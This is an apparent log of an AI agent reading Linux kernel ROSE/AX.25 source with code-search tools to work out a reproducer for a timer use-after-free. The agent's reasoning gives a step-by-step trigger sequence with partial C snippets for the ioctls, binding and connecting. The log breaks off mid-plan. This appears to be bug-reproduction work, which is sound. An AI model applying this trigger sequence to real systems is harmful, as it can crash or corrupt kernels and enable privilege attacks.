Also, what does the timer do? Does `min_timer` represent a deadline or a grace period? Does `max_timer` define a maximum retry interval, a timeout value for a slow operation, or something else? Understanding the *purpose* behind the timers is key to their proper interpretation and analysis.



63/2 2026/05/26 11:36 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:min_timer]

Results:
map[SourceCode:  12:	static int min_timer[]  = {1 * HZ};
 SourceFile:net/rose/sysctl_net_rose.c]

64/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 50335
							output: 45
							thoughts: 451
						

Thoughts:
**Analyzing Timer Settings and Their Implications**

Okay, so I'm looking at these timer values, specifically `min_timer`. It's defined as `1 * HZ`, which translates to one second, given a typical HZ value. But, wait, I need to make sure I'm understanding the units here. The `sysctl` values, are they in milliseconds? Yes, confirmed. `sysctl_rose_restart_request_timeout` is 180000.  But, we use `msecs_to_jiffies(sysctl_rose_restart_request_timeout)` – that should be 180 seconds, right?

Alright, let's step back. `min_timer` is `1 * HZ`, and `HZ` can be, say, 100, 250, or 1000. This is important. If `min_timer` is effectively the lower bound, then any write will be at least `HZ` (e.g., if HZ is 1000, 1000).  If I write 1000, that's just `msecs_to_jiffies(1000)`, or 1 second. Correct, `sysctl_rose_restart_request_timeout` is *indeed* in milliseconds. And so, if `HZ` is 1000, the minimum value to be written is 1000 ms. If HZ is 100, then the minimum is 100 ms.

Okay, so I can set both to 1000 ms (1 second) or 2000 ms (2 seconds), depending on the requirements. Now, the practical implication is that if `clear_request_timeout` is set to 1000 and `restart_request_timeout` to 2000, the timer `t3timer` will expire in 1 second, and `t0timer` will expire in 2 seconds. That's a reasonable set of values.  Wait, I need to be sure.  `t3timer` is started with `sysctl_rose_clear_request_timeout`. Okay, let me confirm. I should check `rose_start_t3timer` to be certain.



65/2 2026/05/26 11:36 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_start_t3timer]

Results:
map[SourceCode:  66:	void rose_start_t3timer(struct sock *sk)
  67:	{
  68:		struct rose_sock *rose = rose_sk(sk);
  69:	
  70:		sk_stop_timer(sk, &rose->timer);
  71:	
  72:		rose->timer.function = rose_timer_expiry;
  73:		rose->timer.expires  = jiffies + rose->t3;
  74:	
  75:		sk_reset_timer(sk, &rose->timer, rose->timer.expires);
  76:	}
 SourceFile:net/rose/rose_timer.c]

66/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 51519
							output: 56
							thoughts: 22
						

Thoughts:
Here's my thought process, summarized as you requested:

**Tracking Down a Potential Issue**

Okay, hold on a second... I see that `rose->t3` is actually being *used*. That's a key piece of information. The immediate question becomes: where exactly is `rose->t3` getting initialized? I need to trace back and find the point of origin. Understanding the initialization process is crucial to diagnosing any potential problems or unexpected behavior associated with that specific data member. It's time to dig deeper!



67/2 2026/05/26 11:36 tool codesearch-find-references
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeSnippetLines:0 Name:sysctl_rose_clear_request_timeout SourceTreePrefix:]

Results:
map[References:<nil> TruncatedOutput:false]

68/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 51725
							output: 24
							thoughts: 25
						

Thoughts:
Okay, here's my interpretation of that thought process, tailored for an expert audience, and presented as if it were my own internal monologue:

**Investigating a Rose Protocol Timeout**

Alright, hang on a second... before I dive too deep into the broader network behavior, I should try something more targeted. That timeout issue... I have a hunch it might be related to the ROSE protocol, and likely configured in sysctl settings. So, let me quickly pivot and search the `net/rose/` directory within the kernel source. Specifically, I'm going to look for a symbol or setting related to the "clear request timeout." I'll use `sysctl_rose_clear_request_timeout` as my initial search query. That's a pretty specific term, and should bring me straight to the relevant area if it exists. This approach feels like a more efficient starting point than a broad, generic search. Hopefully, that will give me a quick understanding.



69/2 2026/05/26 11:36 tool grepper
0m Args:
map[Expression:sysctl_rose_clear_request_timeout]

Results:
map[Output:include/net/rose.h=174=extern int  sysctl_rose_reset_request_timeout;
include/net/rose.h:175:extern int  sysctl_rose_clear_request_timeout;
include/net/rose.h-176-extern int  sysctl_rose_no_activity_timeout;
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
--
net/rose/af_rose.c=546=static int rose_create(struct net *net, struct socket *sock, int protocol,
--
net/rose/af_rose.c-579-	rose->t2   = msecs_to_jiffies(sysctl_rose_reset_request_timeout);
net/rose/af_rose.c:580:	rose->t3   = msecs_to_jiffies(sysctl_rose_clear_request_timeout);
net/rose/af_rose.c-581-	rose->hb   = msecs_to_jiffies(sysctl_rose_ack_hold_back_timeout);
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-53-		.procname	= "clear_request_timeout",
net/rose/sysctl_net_rose.c:54:		.data		= &sysctl_rose_clear_request_timeout,
net/rose/sysctl_net_rose.c-55-		.maxlen		= sizeof(int),
]

70/2 2026/05/26 11:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 52460
							output: 45
							thoughts: 991
						

Thoughts:
**UAF Hunting in the ROSE Protocol: A Planned Exploitation**

Okay, so I've been digging into this ROSE protocol code, and it looks like we can create a nice little Use-After-Free condition. Here's the breakdown of how I think we can trigger it. First, I noticed that `rose->t3` is initialized using `sysctl_rose_clear_request_timeout` in the `rose_create` function.  So, if we change the sysctl value *before* socket creation, we're in business. Now, the `t0timer` uses `sysctl_rose_restart_request_timeout` directly in `rose_start_t0timer`. This is key.

Here's the plan: We set `sysctl_rose_clear_request_timeout` to 1000 milliseconds (1 second) and `sysctl_rose_restart_request_timeout` to 2000 milliseconds (2 seconds). The core idea is to make the `t3timer` expire *before* the `t0timer`.

If `t3timer` expires in 1 second and `t0timer` expires in 2 seconds, `t3timer` will expire first.  When `t3timer` expires, it calls `rose_neigh_put`, which frees the `rose_neigh` structure. Then, a second later, `t0timer` expires and tries to access that freed memory. Bingo, a Use-After-Free!

Now, let's nail down the precise steps to make this happen:

1.  Set `/proc/sys/net/rose/clear_request_timeout` to 1000.
2.  Set `/proc/sys/net/rose/restart_request_timeout` to 2000.
3.  Create an AX.25 interface (e.g., `ax0`) using `mkiss` and bring it up.
4.  Add a ROSE route to the `ax0` interface.
5.  Create a ROSE socket.
6.  Connect the ROSE socket to the route (non-blocking). This sets `rose->neighbour` and starts `t0timer` (expires in 2s, based on our sysctl).
7.  Now, the crucial part: Delete the ROSE route.  This should remove `rose_neigh` and stop `t0timer`. I need to ensure this is correct - `rose_del_node` calls `rose_remove_neigh`, which stops `t0timer`.
8.  Here's the problem: if `t0timer` is stopped, it can't expire! So, we need to *restart* it.  How do we restart `t0timer`? It looks like we can restart t0timer by calling `rose_write_internal` or `rose_transmit_link`. If we close the socket, `rose_release` calls `rose_write_internal(sk, ROSE_CLEAR_REQUEST)`. This then calls `rose_transmit_link`, and that's the ticket! `rose_transmit_link` should restart `t0timer` (2s timeout), and then `rose_release` starts `t3timer` (1s timeout).

So, the new sequence:
*   Connect socket (starts `t0timer` for 2s, but it's stopped when route is deleted)
*   Delete route (stops `t0timer`).
*   Close socket (restarts `t0timer` for 2s *and* starts `t3timer` for 1s).
*   Wait 3 seconds.
*   `t3timer` expires (at 1s), frees `rose_neigh`.
*   `t0timer` expires (at 2s), and *boom* - Use-After-Free!

Hold on, I need to verify that `rose_release` *does* start `t3timer`. Okay, yes, it does, based on the code: `case ROSE_STATE_1: ... rose_start_t3timer(sk);`.  And I should check the logic in `rose_transmit_link`. Crucially, `rose_transmit_link` checks `!rose_t0timer_running(neigh)`. Since `t0timer` was stopped by `rose_remove_neigh`, `rose_t0timer_running` returns false, so `t0timer` will be restarted when `rose_release` calls `rose_write_internal` and therefore `rose_transmit_link`! I just need to double-check `rose_t0timer_running` to be sure. This should work!



71/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_running]

Results:
map[SourceCode:  70:	static int rose_t0timer_running(struct rose_neigh *neigh)
  71:	{
  72:		return timer_pending(&neigh->t0timer);
  73:	}
 SourceFile:net/rose/rose_link.c]

72/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 54598
							output: 86
							thoughts: 823
						

Thoughts:
**Refining the Reproducer for the ROSE Driver Bug**

Okay, so I'm pretty sure `timer_pending` will return `false` in the scenario we're troubleshooting because `timer_delete_sync` was called within `rose_remove_neigh`. That's a key observation. Now, let's nail down these reproducer steps more precisely, focusing on the interactions within the ROSE and AX.25 stack.

First, I need to make sure I'm creating the right environment. I'll start by opening `/dev/ptmx` and setting the line discipline to `N_AX25` (5) which will create `ax0`. Then, I'll bring `ax0` up using `ifconfig ax0 up`, or, I can use an ioctl.

Next, I need to configure the system to behave as it should. So, I will set these sysctls: `clear_request_timeout` to 1000 and `restart_request_timeout` to 2000. These values should influence how the ROSE protocol handles connection attempts and retries.

Now, I'll create a ROSE socket using `socket(AF_ROSE, SOCK_SEQPACKET, 0)`. That will be the interface to interact with the protocol.

I'm thinking that I have to add a ROSE route, so I'll create a route structure:

```c
struct rose_route_struct route;
memset(&route, 0, sizeof(route));
route.address.rose_addr[0] = 1;
route.mask = 5;
route.neighbour.ax25_call[0] = 'A' << 1;
route.neighbour.ax25_call[1] = 'B' << 1;
route.neighbour.ax25_call[2] = 'C' << 1;
route.neighbour.ax25_call[3] = 'D' << 1;
route.neighbour.ax25_call[4] = 'E' << 1;
route.neighbour.ax25_call[5] = 'F' << 1;
route.neighbour.ax25_call[6] = 0;
strcpy(route.device, "ax0");
ioctl(sock, SIOCADDRT, &route);
```

Wait a second, I just recalled that AX.25 callsigns have to be shifted by 1 bit! So, when I define the `ax25_call`, it must be `'A' << 1`, etc. That's a gotcha!

Then, I'll connect the socket to the route:

```c
struct sockaddr_rose saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.srose_family = AF_ROSE;
saddr.srose_addr = route.address;
saddr.srose_call = route.neighbour;
fcntl(sock, F_SETFL, O_NONBLOCK);
connect(sock, (struct sockaddr *)&saddr, sizeof(saddr));
```

Next, I need to delete the route:

```c
ioctl(sock, SIOCDELRT, &route);
```

And finally close the socket:

```c
close(sock);
```

I'll add a little delay after closing the socket, maybe `sleep(3)`, to allow any timers to expire.

Now, a critical point... I'm wondering if `connect` requires a `bind` call first. That's a crucial detail. I'll go back to the code and check inside `rose_connect`. I'm seeing that, if the socket has the `SOCK_ZAPPED` flag set, it attempts to bind first. If it can't find a device, it calls `rose_dev_first()`. Hmmm...

`rose_dev_first()` returns the first ROSE device. Does that mean `rose0` always exists, or do I need to explicitly create it? Is `rose0` created when the `rose` module is loaded? I should check how `rose_dev_first` and `rose_ndevs` are implemented and initialized. That will determine whether or not binding is necessary. If not, the auto-binding in `rose_connect` should be sufficient and may hide some of the issues.



73/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_dev_first]

Results:
map[SourceCode: 604:	/*
 605:	 *	Find the first active ROSE device, usually "rose0".
 606:	 */
 607:	struct net_device *rose_dev_first(void)
 608:	{
 609:		struct net_device *dev, *first = NULL;
 610:	
 611:		rcu_read_lock();
 612:		for_each_netdev_rcu(&init_net, dev) {
 613:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE)
 614:				if (first == NULL || strncmp(dev->name, first->name, 3) < 0)
 615:					first = dev;
 616:		}
 617:		if (first)
 618:			dev_hold(first);
 619:		rcu_read_unlock();
 620:	
 621:		return first;
 622:	}
 SourceFile:net/rose/rose_route.c]

74/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_ndevs]

Results:
map[SourceCode:  47:	static int rose_ndevs = 10;
 SourceFile:net/rose/af_rose.c]

75/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 56818
							output: 41
							thoughts: 168
						

Thoughts:
**My Initial Thoughts on ROSE Device Initialization**

Okay, so I'm looking at how these ROSE network devices are set up, and a few things immediately jump out. I see that `af_rose` creates a set of, let's say, `rose_ndevs` which is initialized to 10 devices. But wait, just because they're *created* doesn't mean they're actually *active*. The code I'm examining appears to use `rose_dev_first` to iterate, and it checks the `dev->flags` to see if `IFF_UP` is set. Right, so that means we'll likely need to bring `rose0` up manually.

Alright, here’s how they've likely handled that: using an `ifreq` struct and ioctls to manipulate the interface flags.  They probably use `SIOCGIFFLAGS` to get the current flags, set the `IFF_UP` bit, and then use `SIOCSIFFLAGS` to apply the changes. Makes sense.

But wait, wouldn't we also need to assign an address to the interface? Hmm, `rose_setup` might be handling that. Let's dig into that function next to confirm how the address is configured.  I'll start with that, just to make sure we're getting this right.



76/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_setup]

Results:
map[SourceCode: 129:	void rose_setup(struct net_device *dev)
 130:	{
 131:		dev->mtu		= ROSE_MAX_PACKET_SIZE - 2;
 132:		dev->netdev_ops		= &rose_netdev_ops;
 133:	
 134:		dev->header_ops		= &rose_header_ops;
 135:		dev->hard_header_len	= AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN;
 136:		dev->addr_len		= ROSE_ADDR_LEN;
 137:		dev->type		= ARPHRD_ROSE;
 138:	
 139:		/* New-style flags. */
 140:		dev->flags		= IFF_NOARP;
 141:	}
 SourceFile:net/rose/rose_dev.c]

77/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 57581
							output: 49
							thoughts: 161
						

Thoughts:
**Debugging the Rose Connection Failure**

Okay, so the Rose connection isn't setting a default address, which is obviously a problem. Let's see... Wait a minute, `rose_connect` *should* handle this. Ah, here it is:

```c
		user = ax25_findbyuid(current_euid());
		if (!user) {
			err = -EINVAL;
			rose_neigh_put(rose->neighbour);
			dev_put(dev);
			goto out_release;
		}
```

Right, it checks `ax25_findbyuid` using the current effective UID. It looks like the issue is that this function isn't finding anything. We've got a UID association problem! If `ax25_findbyuid` returns NULL, it bails out. No UID association, no connection.

So, how do we *create* an AX.25 UID association in the first place? Think, think...Ah, of course! It's the `SIOCAX25ADDUID` ioctl on an AX.25 socket. That's the way to do it. Let's dig into `ax25_uid_ioctl` and see what's happening there.



78/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/ax25/ax25_uid.c IncludeLines:true Name:ax25_uid_ioctl]

Results:
map[SourceCode:  69:	int ax25_uid_ioctl(int cmd, struct sockaddr_ax25 *sax)
  70:	{
  71:		ax25_uid_assoc *ax25_uid;
  72:		ax25_uid_assoc *user;
  73:		unsigned long res;
  74:	
  75:		switch (cmd) {
  76:		case SIOCAX25GETUID:
  77:			res = -ENOENT;
  78:			read_lock(&ax25_uid_lock);
  79:			ax25_uid_for_each(ax25_uid, &ax25_uid_list) {
  80:				if (ax25cmp(&sax->sax25_call, &ax25_uid->call) == 0) {
  81:					res = from_kuid_munged(current_user_ns(), ax25_uid->uid);
  82:					break;
  83:				}
  84:			}
  85:			read_unlock(&ax25_uid_lock);
  86:	
  87:			return res;
  88:	
  89:		case SIOCAX25ADDUID:
  90:		{
  91:			kuid_t sax25_kuid;
  92:			if (!capable(CAP_NET_ADMIN))
  93:				return -EPERM;
  94:			sax25_kuid = make_kuid(current_user_ns(), sax->sax25_uid);
  95:			if (!uid_valid(sax25_kuid))
  96:				return -EINVAL;
  97:			user = ax25_findbyuid(sax25_kuid);
  98:			if (user) {
  99:				ax25_uid_put(user);
 100:				return -EEXIST;
 101:			}
 102:			if (sax->sax25_uid == 0)
 103:				return -EINVAL;
 104:			if ((ax25_uid = kmalloc_obj(*ax25_uid)) == NULL)
 105:				return -ENOMEM;
 106:	
 107:			refcount_set(&ax25_uid->refcount, 1);
 108:			ax25_uid->uid  = sax25_kuid;
 109:			ax25_uid->call = sax->sax25_call;
 110:	
 111:			write_lock(&ax25_uid_lock);
 112:			hlist_add_head(&ax25_uid->uid_node, &ax25_uid_list);
 113:			write_unlock(&ax25_uid_lock);
 114:	
 115:			return 0;
 116:		}
 117:		case SIOCAX25DELUID:
 118:			if (!capable(CAP_NET_ADMIN))
 119:				return -EPERM;
 120:	
 121:			ax25_uid = NULL;
 122:			write_lock(&ax25_uid_lock);
 123:			ax25_uid_for_each(ax25_uid, &ax25_uid_list) {
 124:				if (ax25cmp(&sax->sax25_call, &ax25_uid->call) == 0)
 125:					break;
 126:			}
 127:			if (ax25_uid == NULL) {
 128:				write_unlock(&ax25_uid_lock);
 129:				return -ENOENT;
 130:			}
 131:			hlist_del_init(&ax25_uid->uid_node);
 132:			ax25_uid_put(ax25_uid);
 133:			write_unlock(&ax25_uid_lock);
 134:	
 135:			return 0;
 136:	
 137:		default:
 138:			return -EINVAL;
 139:		}
 140:	
 141:		return -EINVAL;	/*NOTREACHED */
 142:	}
 SourceFile:net/ax25/ax25_uid.c]

79/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 59240
							output: 41
							thoughts: 241
						

Thoughts:
**My Line of Reasoning**

Okay, so I'm looking at this `SIOCAX25ADDUID` ioctl and it's hitting me that it specifically *needs* `sax->sax25_uid` to be non-zero. That immediately flags a potential security issue. Does this mean we're forced to run as a non-root user? Or, could we work around it by initially setting `sax25_uid` to my user ID (say, 1000), running with root privileges (or at least `CAP_NET_ADMIN`), and then dropping to my actual UID (1000) *before* the `connect` call?

But hold on, isn't `current_euid()` used in `rose_connect`? That throws a wrench into the works. If I run as root (UID 0), the `ax25_findbyuid(0)` call will *definitely* fail because, as we established, `SIOCAX25ADDUID` blocks `sax25_uid == 0`. So, yes, it looks like I *must* call `setuid()` to a non-zero UID before invoking `connect`.

Wait, there is another way! Could I just bind the socket explicitly? If I use `bind()` before `connect()`, it looks like `SOCK_ZAPPED` is cleared, and `rose_connect` will then skip the `rose_dev_first` and `ax25_findbyuid` block entirely. That seems like a solid alternative path. Let me go take a closer look at `rose_bind` and see if that is a workable solution.



80/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

Results:
map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

81/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 60994
							output: 43
							thoughts: 99
						

Thoughts:
**ROSE Device Address Dilemma**

Okay, so I'm diving into this ROSE device binding process. The core of it, from what I can tell, hinges on successfully retrieving a device using `rose_dev_get` after a `bind()` call. Clearly, `rose_dev_get` is the function that needs to locate the ROSE device associated with the address I provide. But here's the snag: I'm realizing that `rose_setup`, the function that presumably initializes this stuff, doesn't actually assign an address to the device! So, that's a problem.

Now I'm thinking, how *do* I set the address for a ROSE device then? Hmm, could it be the `SIOCSIFHWADDR` ioctl on a ROSE socket? It seems like the most logical path. It is time to double check how `rose_dev_get` works under the hood. I had better get familiar with `rose_dev_get`.



82/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_dev_get]

Results:
map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

83/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 61653
							output: 44
							thoughts: 573
						

Thoughts:
**My ROSE Configuration Thoughts**

Okay, so I need to set up this ROSE interface.  First, yes, I can definitely set the hardware address of `rose0` using `SIOCSIFHWADDR`. The code snippet confirms that: I can construct an `ifreq` struct, populate it with the ROSE family and the desired MAC address (let's say `01:00:00:00:00` for now), and then use `ioctl` to apply it.  That seems straightforward.

Then, I'll need to bring `rose0` up. Simple `ifconfig` or `ip link set` should handle that.

Crucially, it looks like I *must* `bind()` the socket to the configured hardware address. I was initially wondering if I could skip that, but looking deeper, it seems if I don't bind, the `rose_connect` function checks `ax25_findbyuid` and fails if it returns NULL. That would be a problem.  If I *do* bind, then `ax25_findbyuid` is called, but `ax25_uid_policy` is checked as well, but it's probably 0 by default, which means the bind *should* work.  It looks like I'll need to bind the socket to the newly configured hardware address.

Let me summarize the plan to make sure I have all the steps right:

1.  **Create `ax0`:**  Using `mkiss` with line discipline 5. That's my underlying AX.25 link.
2.  **Bring `ax0` up:** Make sure the AX.25 interface is active.
3.  **Set `rose0` hardware address:** Using `SIOCSIFHWADDR` (as discussed) to `01:00:00:00:00`.
4.  **Bring `rose0` up:** Enable the ROSE interface.
5.  **Set sysctls:**  I need to set the `clear_request_timeout` and `restart_request_timeout` sysctls for ROSE. Let's make them 1000 and 2000 respectively. That's important for the connection timing.
6.  **Create a ROSE socket:** Standard socket creation.
7.  **`bind()` the socket:**  Bind the socket to `01:00:00:00:00` (the hardware address I just configured). This is critical!
8.  **Add a ROSE route:** Add a route to `ax0` for the destination `02:00:00:00:00`.
9.  **`connect()` the socket:**  `connect()` the socket to `02:00:00:00:00`, using non-blocking mode.
10. **Delete the ROSE route:**  Remove the route I just added.
11. **`close()` the socket:** Close the ROSE socket.
12. **Wait 3 seconds.** Give everything time to settle.

Finally, let me double-check that `SIOCSIFHWADDR` is supported for `rose0`. I'll need to check the `rose_netdev_ops` structure. Does `ndo_set_mac_address` exist? If it does, then the hardware address setting should work. I need to verify that; it's a vital part of the setup.



84/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_netdev_ops]

Results:
map[SourceCode: 122:	static const struct net_device_ops rose_netdev_ops = {
 123:		.ndo_open		= rose_open,
 124:		.ndo_stop		= rose_close,
 125:		.ndo_start_xmit		= rose_xmit,
 126:		.ndo_set_mac_address    = rose_set_mac_address,
 127:	};
 SourceFile:net/rose/rose_dev.c]

85/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 63167
							output: 45
							thoughts: 150
						

Thoughts:
**Analyzing the `rose_set_mac_address` Function**

Okay, so I see that `rose_set_mac_address` is indeed supported, that's good. Now, let's break this down.

Looking at the code:

```c
static int rose_set_mac_address(struct net_device *dev, void *addr)
{
	struct sockaddr *sa = addr;
	int err = mac_pton(sa->sa_data, dev->dev_addr);
	if (err)
		return err;
	return 0;
}
```

My initial thought is to confirm how this function works. It seems `rose_set_mac_address` takes a `net_device` and a `void*` pointer `addr` which is likely a `struct sockaddr`. Inside, it casts the `void*` to `struct sockaddr*`. It looks like it calls `mac_pton`, passing `sa->sa_data` (which presumably holds the MAC address data) and the device's `dev_addr` buffer.

Aha! Now I see what's going on. I need to be careful with the implications of the use of `mac_pton`. Doesn't `mac_pton` expect the input to be a string like "00:11:22:33:44:55"? Ah, yes, it does parse a string representing the MAC address! Therefore, `sa->sa_data` must contain a string representation of the MAC address. Right, that makes sense.

Essentially, `rose_set_mac_address` will:
1.  Receive a `struct sockaddr` containing a MAC address (string)
2.  Parse the MAC address string into binary format using `mac_pton`
3.  Store the resulting binary MAC address into the device's `dev_addr` field.



86/2 2026/05/26 11:37 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_set_mac_address]

Results:
map[SourceCode:  56:	static int rose_set_mac_address(struct net_device *dev, void *addr)
  57:	{
  58:		struct sockaddr *sa = addr;
  59:		int err;
  60:	
  61:		if (!memcmp(dev->dev_addr, sa->sa_data, dev->addr_len))
  62:			return 0;
  63:	
  64:		if (dev->flags & IFF_UP) {
  65:			err = rose_add_loopback_node((rose_address *)sa->sa_data);
  66:			if (err)
  67:				return err;
  68:	
  69:			rose_del_loopback_node((const rose_address *)dev->dev_addr);
  70:		}
  71:	
  72:		dev_addr_set(dev, sa->sa_data);
  73:	
  74:		return 0;
  75:	}
 SourceFile:net/rose/rose_dev.c]

87/2 2026/05/26 11:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 64063
							output: 44
							thoughts: 1208
						

Thoughts:
**Reproducing the ROSE Route Issue**

Okay, so looking at this, it seems that `SIOCSIFHWADDR` simply copies `sa->sa_data`. This means the `SIOCSIFHWADDR` operation works as expected. Let's move ahead.

I need to write a C program to reproduce the issue. Let's start sketching it out, I'll need to create a test case.

The plan is this. First I'll create an ax0 interface. Then I'll bring the ax0 interface up. Next I'll set a MAC address on the rose0 interface and bring that up. After that, I will set some sysctls. Then I will create a ROSE socket. With the socket created, I'll bind it to the rose0 address. Next I'll add a ROSE route. I'll connect to that route in a non-blocking manner. After connecting, I'll delete the route. Finally, I'll close the socket, which, as I understand, will kick off the timers. I'll wait for those timers to expire. I'm going to sleep for a bit to ensure it doesn't immediately fail.

I think I need a `rose_route_struct`. *checks for* `<linux/rose.h>`. Let me confirm the definition of `rose_route_struct`.



88/2 2026/05/26 11:38 tool codesearch-definition-source
0m Args:
map[ContextFile:include/uapi/linux/rose.h IncludeLines:true Name:rose_route_struct]

Results:
map[SourceCode:  66:	struct rose_route_struct {
  67:		rose_address	address;
  68:		unsigned short	mask;
  69:		ax25_address	neighbour;
  70:		char		device[16];
  71:		unsigned char	ndigis;
  72:		ax25_address	digipeaters[AX25_MAX_DIGIS];
  73:	};
 SourceFile:include/uapi/linux/rose.h]

89/2 2026/05/26 11:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 65745
							output: 21
							thoughts: 5146
						

Thoughts:
**UAF in ROSE protocol t0 Timer Expiry**

Alright, let's break this down step-by-step. The goal is to trigger a use-after-free vulnerability in the ROSE protocol, specifically tied to the `t0timer` used for retransmissions. The core idea is to carefully orchestrate events such that a `rose_neigh` structure, which represents a network neighbor, is freed before a timer associated with it, the `t0timer`, expires.

First, we establish some setup. We're dealing with a `sockaddr_rose` structure and we know that we can bind and connect using it. The key constraint is to ensure that `srose_ndigis` is appropriately set in `bind` and that `SOCK_ZAPPED` is cleared in a `bind()` operation. We create a ROSE socket and bind it to a local ROSE address (e.g., `rose0` with address `1`), and create a route to another address (`2`), which will be the destination of our connection.

We'll use a standard, non-blocking `connect()` call. This triggers the initial connection establishment sequence. We expect `connect()` to return `-EINPROGRESS` because of `O_NONBLOCK`.  This is key, since that return lets us move on to the next phases. During `connect()`, a route is found,  the `rose_neigh` structure is set, and a `t0timer` is started on the neighbor.  That is critical.

